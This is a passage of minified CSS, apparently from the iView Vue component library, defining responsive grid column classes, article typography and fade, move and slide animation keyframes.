33333333%}.ivu-col-xl-pull-14{right:58.33333333%}.ivu-col-xl-offset-14{margin-left:58.33333333%}.ivu-col-xl-order-14{-webkit-box-ordinal-group:15;-ms-flex-order:14;order:14}.ivu-col-span-xl-13{display:block;width:54.16666667%}.ivu-col-xl-push-13{left:54.16666667%}.ivu-col-xl-pull-13{right:54.16666667%}.ivu-col-xl-offset-13{margin-left:54.16666667%}.ivu-col-xl-order-13{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.ivu-col-span-xl-12{display:block;width:50%}.ivu-col-xl-push-12{left:50%}.ivu-col-xl-pull-12{right:50%}.ivu-col-xl-offset-12{margin-left:50%}.ivu-col-xl-order-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.ivu-col-span-xl-11{display:block;width:45.83333333%}.ivu-col-xl-push-11{left:45.83333333%}.ivu-col-xl-pull-11{right:45.83333333%}.ivu-col-xl-offset-11{margin-left:45.83333333%}.ivu-col-xl-order-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.ivu-col-span-xl-10{display:block;width:41.66666667%}.ivu-col-xl-push-10{left:41.66666667%}.ivu-col-xl-pull-10{right:41.66666667%}.ivu-col-xl-offset-10{margin-left:41.66666667%}.ivu-col-xl-order-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.ivu-col-span-xl-9{display:block;width:37.5%}.ivu-col-xl-push-9{left:37.5%}.ivu-col-xl-pull-9{right:37.5%}.ivu-col-xl-offset-9{margin-left:37.5%}.ivu-col-xl-order-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.ivu-col-span-xl-8{display:block;width:33.33333333%}.ivu-col-xl-push-8{left:33.33333333%}.ivu-col-xl-pull-8{right:33.33333333%}.ivu-col-xl-offset-8{margin-left:33.33333333%}.ivu-col-xl-order-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.ivu-col-span-xl-7{display:block;width:29.16666667%}.ivu-col-xl-push-7{left:29.16666667%}.ivu-col-xl-pull-7{right:29.16666667%}.ivu-col-xl-offset-7{margin-left:29.16666667%}.ivu-col-xl-order-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.ivu-col-span-xl-6{display:block;width:25%}.ivu-col-xl-push-6{left:25%}.ivu-col-xl-pull-6{right:25%}.ivu-col-xl-offset-6{margin-left:25%}.ivu-col-xl-order-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.ivu-col-span-xl-5{display:block;width:20.83333333%}.ivu-col-xl-push-5{left:20.83333333%}.ivu-col-xl-pull-5{right:20.83333333%}.ivu-col-xl-offset-5{margin-left:20.83333333%}.ivu-col-xl-order-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.ivu-col-span-xl-4{display:block;width:16.66666667%}.ivu-col-xl-push-4{left:16.66666667%}.ivu-col-xl-pull-4{right:16.66666667%}.ivu-col-xl-offset-4{margin-left:16.66666667%}.ivu-col-xl-order-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.ivu-col-span-xl-3{display:block;width:12.5%}.ivu-col-xl-push-3{left:12.5%}.ivu-col-xl-pull-3{right:12.5%}.ivu-col-xl-offset-3{margin-left:12.5%}.ivu-col-xl-order-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.ivu-col-span-xl-2{display:block;width:8.33333333%}.ivu-col-xl-push-2{left:8.33333333%}.ivu-col-xl-pull-2{right:8.33333333%}.ivu-col-xl-offset-2{margin-left:8.33333333%}.ivu-col-xl-order-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.ivu-col-span-xl-1{display:block;width:4.16666667%}.ivu-col-xl-push-1{left:4.16666667%}.ivu-col-xl-pull-1{right:4.16666667%}.ivu-col-xl-offset-1{margin-left:4.16666667%}.ivu-col-xl-order-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.ivu-col-span-xl-0{display:none}.ivu-col-xl-push-0{left:auto}.ivu-col-xl-pull-0{right:auto}}@media (min-width:1600px){.ivu-col-span-xxl-1,.ivu-col-span-xxl-10,.ivu-col-span-xxl-11,.ivu-col-span-xxl-12,.ivu-col-span-xxl-13,.ivu-col-span-xxl-14,.ivu-col-span-xxl-15,.ivu-col-span-xxl-16,.ivu-col-span-xxl-17,.ivu-col-span-xxl-18,.ivu-col-span-xxl-19,.ivu-col-span-xxl-2,.ivu-col-span-xxl-20,.ivu-col-span-xxl-21,.ivu-col-span-xxl-22,.ivu-col-span-xxl-23,.ivu-col-span-xxl-24,.ivu-col-span-xxl-3,.ivu-col-span-xxl-4,.ivu-col-span-xxl-5,.ivu-col-span-xxl-6,.ivu-col-span-xxl-7,.ivu-col-span-xxl-8,.ivu-col-span-xxl-9{float:left;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto}.ivu-col-span-xxl-24{display:block;width:100%}.ivu-col-xxl-push-24{left:100%}.ivu-col-xxl-pull-24{right:100%}.ivu-col-xxl-offset-24{margin-left:100%}.ivu-col-xxl-order-24{-webkit-box-ordinal-group:25;-ms-flex-order:24;order:24}.ivu-col-span-xxl-23{display:block;width:95.83333333%}.ivu-col-xxl-push-23{left:95.83333333%}.ivu-col-xxl-pull-23{right:95.83333333%}.ivu-col-xxl-offset-23{margin-left:95.83333333%}.ivu-col-xxl-order-23{-webkit-box-ordinal-group:24;-ms-flex-order:23;order:23}.ivu-col-span-xxl-22{display:block;width:91.66666667%}.ivu-col-xxl-push-22{left:91.66666667%}.ivu-col-xxl-pull-22{right:91.66666667%}.ivu-col-xxl-offset-22{margin-left:91.66666667%}.ivu-col-xxl-order-22{-webkit-box-ordinal-group:23;-ms-flex-order:22;order:22}.ivu-col-span-xxl-21{display:block;width:87.5%}.ivu-col-xxl-push-21{left:87.5%}.ivu-col-xxl-pull-21{right:87.5%}.ivu-col-xxl-offset-21{margin-left:87.5%}.ivu-col-xxl-order-21{-webkit-box-ordinal-group:22;-ms-flex-order:21;order:21}.ivu-col-span-xxl-20{display:block;width:83.33333333%}.ivu-col-xxl-push-20{left:83.33333333%}.ivu-col-xxl-pull-20{right:83.33333333%}.ivu-col-xxl-offset-20{margin-left:83.33333333%}.ivu-col-xxl-order-20{-webkit-box-ordinal-group:21;-ms-flex-order:20;order:20}.ivu-col-span-xxl-19{display:block;width:79.16666667%}.ivu-col-xxl-push-19{left:79.16666667%}.ivu-col-xxl-pull-19{right:79.16666667%}.ivu-col-xxl-offset-19{margin-left:79.16666667%}.ivu-col-xxl-order-19{-webkit-box-ordinal-group:20;-ms-flex-order:19;order:19}.ivu-col-span-xxl-18{display:block;width:75%}.ivu-col-xxl-push-18{left:75%}.ivu-col-xxl-pull-18{right:75%}.ivu-col-xxl-offset-18{margin-left:75%}.ivu-col-xxl-order-18{-webkit-box-ordinal-group:19;-ms-flex-order:18;order:18}.ivu-col-span-xxl-17{display:block;width:70.83333333%}.ivu-col-xxl-push-17{left:70.83333333%}.ivu-col-xxl-pull-17{right:70.83333333%}.ivu-col-xxl-offset-17{margin-left:70.83333333%}.ivu-col-xxl-order-17{-webkit-box-ordinal-group:18;-ms-flex-order:17;order:17}.ivu-col-span-xxl-16{display:block;width:66.66666667%}.ivu-col-xxl-push-16{left:66.66666667%}.ivu-col-xxl-pull-16{right:66.66666667%}.ivu-col-xxl-offset-16{margin-left:66.66666667%}.ivu-col-xxl-order-16{-webkit-box-ordinal-group:17;-ms-flex-order:16;order:16}.ivu-col-span-xxl-15{display:block;width:62.5%}.ivu-col-xxl-push-15{left:62.5%}.ivu-col-xxl-pull-15{right:62.5%}.ivu-col-xxl-offset-15{margin-left:62.5%}.ivu-col-xxl-order-15{-webkit-box-ordinal-group:16;-ms-flex-order:15;order:15}.ivu-col-span-xxl-14{display:block;width:58.33333333%}.ivu-col-xxl-push-14{left:58.33333333%}.ivu-col-xxl-pull-14{right:58.33333333%}.ivu-col-xxl-offset-14{margin-left:58.33333333%}.ivu-col-xxl-order-14{-webkit-box-ordinal-group:15;-ms-flex-order:14;order:14}.ivu-col-span-xxl-13{display:block;width:54.16666667%}.ivu-col-xxl-push-13{left:54.16666667%}.ivu-col-xxl-pull-13{right:54.16666667%}.ivu-col-xxl-offset-13{margin-left:54.16666667%}.ivu-col-xxl-order-13{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.ivu-col-span-xxl-12{display:block;width:50%}.ivu-col-xxl-push-12{left:50%}.ivu-col-xxl-pull-12{right:50%}.ivu-col-xxl-offset-12{margin-left:50%}.ivu-col-xxl-order-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.ivu-col-span-xxl-11{display:block;width:45.83333333%}.ivu-col-xxl-push-11{left:45.83333333%}.ivu-col-xxl-pull-11{right:45.83333333%}.ivu-col-xxl-offset-11{margin-left:45.83333333%}.ivu-col-xxl-order-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.ivu-col-span-xxl-10{display:block;width:41.66666667%}.ivu-col-xxl-push-10{left:41.66666667%}.ivu-col-xxl-pull-10{right:41.66666667%}.ivu-col-xxl-offset-10{margin-left:41.66666667%}.ivu-col-xxl-order-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.ivu-col-span-xxl-9{display:block;width:37.5%}.ivu-col-xxl-push-9{left:37.5%}.ivu-col-xxl-pull-9{right:37.5%}.ivu-col-xxl-offset-9{margin-left:37.5%}.ivu-col-xxl-order-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.ivu-col-span-xxl-8{display:block;width:33.33333333%}.ivu-col-xxl-push-8{left:33.33333333%}.ivu-col-xxl-pull-8{right:33.33333333%}.ivu-col-xxl-offset-8{margin-left:33.33333333%}.ivu-col-xxl-order-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.ivu-col-span-xxl-7{display:block;width:29.16666667%}.ivu-col-xxl-push-7{left:29.16666667%}.ivu-col-xxl-pull-7{right:29.16666667%}.ivu-col-xxl-offset-7{margin-left:29.16666667%}.ivu-col-xxl-order-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.ivu-col-span-xxl-6{display:block;width:25%}.ivu-col-xxl-push-6{left:25%}.ivu-col-xxl-pull-6{right:25%}.ivu-col-xxl-offset-6{margin-left:25%}.ivu-col-xxl-order-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.ivu-col-span-xxl-5{display:block;width:20.83333333%}.ivu-col-xxl-push-5{left:20.83333333%}.ivu-col-xxl-pull-5{right:20.83333333%}.ivu-col-xxl-offset-5{margin-left:20.83333333%}.ivu-col-xxl-order-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.ivu-col-span-xxl-4{display:block;width:16.66666667%}.ivu-col-xxl-push-4{left:16.66666667%}.ivu-col-xxl-pull-4{right:16.66666667%}.ivu-col-xxl-offset-4{margin-left:16.66666667%}.ivu-col-xxl-order-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.ivu-col-span-xxl-3{display:block;width:12.5%}.ivu-col-xxl-push-3{left:12.5%}.ivu-col-xxl-pull-3{right:12.5%}.ivu-col-xxl-offset-3{margin-left:12.5%}.ivu-col-xxl-order-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.ivu-col-span-xxl-2{display:block;width:8.33333333%}.ivu-col-xxl-push-2{left:8.33333333%}.ivu-col-xxl-pull-2{right:8.33333333%}.ivu-col-xxl-offset-2{margin-left:8.33333333%}.ivu-col-xxl-order-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.ivu-col-span-xxl-1{display:block;width:4.16666667%}.ivu-col-xxl-push-1{left:4.16666667%}.ivu-col-xxl-pull-1{right:4.16666667%}.ivu-col-xxl-offset-1{margin-left:4.16666667%}.ivu-col-xxl-order-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.ivu-col-span-xxl-0{display:none}.ivu-col-xxl-push-0{left:auto}.ivu-col-xxl-pull-0{right:auto}}.ivu-article h1{font-size:26px;font-weight:400}.ivu-article h2{font-size:20px;font-weight:400}.ivu-article h3{font-size:16px;font-weight:400}.ivu-article h4{font-size:14px;font-weight:400}.ivu-article h5{font-size:12px;font-weight:400}.ivu-article h6{font-size:12px;font-weight:400}.ivu-article blockquote{padding:5px 5px 3px 10px;line-height:1.5;border-left:4px solid #ddd;margin-bottom:20px;color:#666;font-size:14px}.ivu-article ul:not([class^=ivu-]){padding-left:40px;list-style-type:disc}.ivu-article li:not([class^=ivu-]){margin-bottom:5px;font-size:14px}.ivu-article ol ul:not([class^=ivu-]),.ivu-article ul ul:not([class^=ivu-]){list-style-type:circle}.ivu-article p{margin:5px;font-size:14px}.ivu-article a:not([class^=ivu-])[target=\"_blank\"]:after{content:\"\\F3F2\";font-family:Ionicons;color:#aaa;margin-left:3px}.fade-appear,.fade-enter-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.fade-leave-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.fade-appear,.fade-enter-active{-webkit-animation-name:ivuFadeIn;animation-name:ivuFadeIn;-webkit-animation-play-state:running;animation-play-state:running}.fade-leave-active{-webkit-animation-name:ivuFadeOut;animation-name:ivuFadeOut;-webkit-animation-play-state:running;animation-play-state:running}.fade-appear,.fade-enter-active{opacity:0;-webkit-animation-timing-function:linear;animation-timing-function:linear}.fade-leave-active{-webkit-animation-timing-function:linear;animation-timing-function:linear}@-webkit-keyframes ivuFadeIn{0%{opacity:0}100%{opacity:1}}@keyframes ivuFadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes ivuFadeOut{0%{opacity:1}100%{opacity:0}}@keyframes ivuFadeOut{0%{opacity:1}100%{opacity:0}}.move-up-appear,.move-up-enter-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.move-up-leave-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.move-up-appear,.move-up-enter-active{-webkit-animation-name:ivuMoveUpIn;animation-name:ivuMoveUpIn;-webkit-animation-play-state:running;animation-play-state:running}.move-up-leave-active{-webkit-animation-name:ivuMoveUpOut;animation-name:ivuMoveUpOut;-webkit-animation-play-state:running;animation-play-state:running}.move-up-appear,.move-up-enter-active{opacity:0;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}.move-up-leave-active{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}.move-down-appear,.move-down-enter-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.move-down-leave-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.move-down-appear,.move-down-enter-active{-webkit-animation-name:ivuMoveDownIn;animation-name:ivuMoveDownIn;-webkit-animation-play-state:running;animation-play-state:running}.move-down-leave-active{-webkit-animation-name:ivuMoveDownOut;animation-name:ivuMoveDownOut;-webkit-animation-play-state:running;animation-play-state:running}.move-down-appear,.move-down-enter-active{opacity:0;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}.move-down-leave-active{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}.move-left-appear,.move-left-enter-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.move-left-leave-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.move-left-appear,.move-left-enter-active{-webkit-animation-name:ivuMoveLeftIn;animation-name:ivuMoveLeftIn;-webkit-animation-play-state:running;animation-play-state:running}.move-left-leave-active{-webkit-animation-name:ivuMoveLeftOut;animation-name:ivuMoveLeftOut;-webkit-animation-play-state:running;animation-play-state:running}.move-left-appear,.move-left-enter-active{opacity:0;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}.move-left-leave-active{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}.move-right-appear,.move-right-enter-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.move-right-leave-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.move-right-appear,.move-right-enter-active{-webkit-animation-name:ivuMoveRightIn;animation-name:ivuMoveRightIn;-webkit-animation-play-state:running;animation-play-state:running}.move-right-leave-active{-webkit-animation-name:ivuMoveRightOut;animation-name:ivuMoveRightOut;-webkit-animation-play-state:running;animation-play-state:running}.move-right-appear,.move-right-enter-active{opacity:0;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}.move-right-leave-active{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}@-webkit-keyframes ivuMoveDownIn{0%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateY(100%);transform:translateY(100%);opacity:0}100%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateY(0);transform:translateY(0);opacity:1}}@keyframes ivuMoveDownIn{0%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateY(100%);transform:translateY(100%);opacity:0}100%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateY(0);transform:translateY(0);opacity:1}}@-webkit-keyframes ivuMoveDownOut{0%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateY(0);transform:translateY(0);opacity:1}100%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateY(100%);transform:translateY(100%);opacity:0}}@keyframes ivuMoveDownOut{0%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateY(0);transform:translateY(0);opacity:1}100%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateY(100%);transform:translateY(100%);opacity:0}}@-webkit-keyframes ivuMoveLeftIn{0%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(-100%);transform:translateX(-100%);opacity:0}100%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(0);transform:translateX(0);opacity:1}}@keyframes ivuMoveLeftIn{0%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(-100%);transform:translateX(-100%);opacity:0}100%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(0);transform:translateX(0);opacity:1}}@-webkit-keyframes ivuMoveLeftOut{0%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(0);transform:translateX(0);opacity:1}100%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(-100%);transform:translateX(-100%);opacity:0}}@keyframes ivuMoveLeftOut{0%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(0);transform:translateX(0);opacity:1}100%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(-100%);transform:translateX(-100%);opacity:0}}@-webkit-keyframes ivuMoveRightIn{0%{opacity:0;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(100%);transform:translateX(100%)}100%{opacity:1;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes ivuMoveRightIn{0%{opacity:0;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(100%);transform:translateX(100%)}100%{opacity:1;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes ivuMoveRightOut{0%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(0);transform:translateX(0);opacity:1}100%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(100%);transform:translateX(100%);opacity:0}}@keyframes ivuMoveRightOut{0%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(0);transform:translateX(0);opacity:1}100%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(100%);transform:translateX(100%);opacity:0}}@-webkit-keyframes ivuMoveUpIn{0%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateY(-100%);transform:translateY(-100%);opacity:0}100%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateY(0);transform:translateY(0);opacity:1}}@keyframes ivuMoveUpIn{0%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateY(-100%);transform:translateY(-100%);opacity:0}100%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateY(0);transform:translateY(0);opacity:1}}@-webkit-keyframes ivuMoveUpOut{0%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateY(0);transform:translateY(0);opacity:1}100%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateY(-100%);transform:translateY(-100%);opacity:0}}@keyframes ivuMoveUpOut{0%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateY(0);transform:translateY(0);opacity:1}100%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateY(-100%);transform:translateY(-100%);opacity:0}}.move-notice-appear,.move-notice-enter-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.move-notice-leave-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.move-notice-appear,.move-notice-enter-active{-webkit-animation-name:ivuMoveNoticeIn;animation-name:ivuMoveNoticeIn;-webkit-animation-play-state:running;animation-play-state:running}.move-notice-leave-active{-webkit-animation-name:ivuMoveNoticeOut;animation-name:ivuMoveNoticeOut;-webkit-animation-play-state:running;animation-play-state:running}.move-notice-appear,.move-notice-enter-active{opacity:0;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}.move-notice-leave-active{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}@-webkit-keyframes ivuMoveNoticeIn{0%{opacity:0;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(100%);transform:translateX(100%)}100%{opacity:1;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes ivuMoveNoticeIn{0%{opacity:0;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(100%);transform:translateX(100%)}100%{opacity:1;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes ivuMoveNoticeOut{0%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(0);transform:translateX(0);opacity:1}70%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(100%);transform:translateX(100%);height:auto;padding:16px;margin-bottom:10px;opacity:0}100%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(100%);transform:translateX(100%);height:0;padding:0;margin-bottom:0;opacity:0}}@keyframes ivuMoveNoticeOut{0%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(0);transform:translateX(0);opacity:1}70%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(100%);transform:translateX(100%);height:auto;padding:16px;margin-bottom:10px;opacity:0}100%{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:translateX(100%);transform:translateX(100%);height:0;padding:0;margin-bottom:0;opacity:0}}.ease-appear,.ease-enter-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.ease-leave-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.ease-appear,.ease-enter-active{-webkit-animation-name:ivuEaseIn;animation-name:ivuEaseIn;-webkit-animation-play-state:running;animation-play-state:running}.ease-leave-active{-webkit-animation-name:ivuEaseOut;animation-name:ivuEaseOut;-webkit-animation-play-state:running;animation-play-state:running}.ease-appear,.ease-enter-active{opacity:0;-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}.ease-leave-active{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes ivuEaseIn{0%{opacity:0;-webkit-transform:scale(.9);transform:scale(.9)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes ivuEaseIn{0%{opacity:0;-webkit-transform:scale(.9);transform:scale(.9)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes ivuEaseOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:0;-webkit-transform:scale(.9);transform:scale(.9)}}@keyframes ivuEaseOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:0;-webkit-transform:scale(.9);transform:scale(.9)}}.transition-drop-appear,.transition-drop-enter-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.transition-drop-leave-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.transition-drop-appear,.transition-drop-enter-active{-webkit-animation-name:ivuTransitionDropIn;animation-name:ivuTransitionDropIn;-webkit-animation-play-state:running;animation-play-state:running}.transition-drop-leave-active{-webkit-animation-name:ivuTransitionDropOut;animation-name:ivuTransitionDropOut;-webkit-animation-play-state:running;animation-play-state:running}.transition-drop-appear,.transition-drop-enter-active{opacity:0;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}.transition-drop-leave-active{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}.slide-up-appear,.slide-up-enter-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.slide-up-leave-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.slide-up-appear,.slide-up-enter-active{-webkit-animation-name:ivuSlideUpIn;animation-name:ivuSlideUpIn;-webkit-animation-play-state:running;animation-play-state:running}.slide-up-leave-active{-webkit-animation-name:ivuSlideUpOut;animation-name:ivuSlideUpOut;-webkit-animation-play-state:running;animation-play-state:running}.slide-up-appear,.slide-up-enter-active{opacity:0;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}.slide-up-leave-active{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}.slide-down-appear,.slide-down-enter-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.slide-down-leave-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.slide-down-appear,.slide-down-enter-active{-webkit-animation-name:ivuSlideDownIn;animation-name:ivuSlideDownIn;-webkit-animation-play-state:running;animation-play-state:running}.slide-down-leave-active{-webkit-animation-name:ivuSlideDownOut;animation-name:ivuSlideDownOut;-webkit-animation-play-state:running;animation-play-state:running}.slide-down-appear,.slide-down-enter-active{opacity:0;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}.slide-down-leave-active{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}.slide-left-appear,.slide-left-enter-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.slide-left-leave-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.slide-left-appear,.slide-left-enter-active{-webkit-animation-name:ivuSlideLeftIn;animation-name:ivuSlideLeftIn;-webkit-animation-play-state:running;animation-play-state:running}.slide-left-leave-active{-webkit-animation-name:ivuSlideLeftOut;animation-name:ivuSlideLeftOut;-webkit-animation-play-state:running;animation-play-state:running}.slide-left-appear,.slide-left-enter-active{opacity:0;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}.slide-left-leave-active{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}.slide-right-appear,.slide-right-enter-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.slide-right-leave-active{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-play-state:paused;animation-play-state:paused}.slide-right-appear,.slide-right-enter-active{-webkit-animation-name:ivuSlideRightIn;animation-name:ivuSlideRightIn;-webkit-animation-play-state:running;animation-play-state:running}.slide-right-leave-active{-webkit-animation-name:ivuSlideRightOut;animation-name:ivuSlideRightOut;-webkit-animation-play-state:run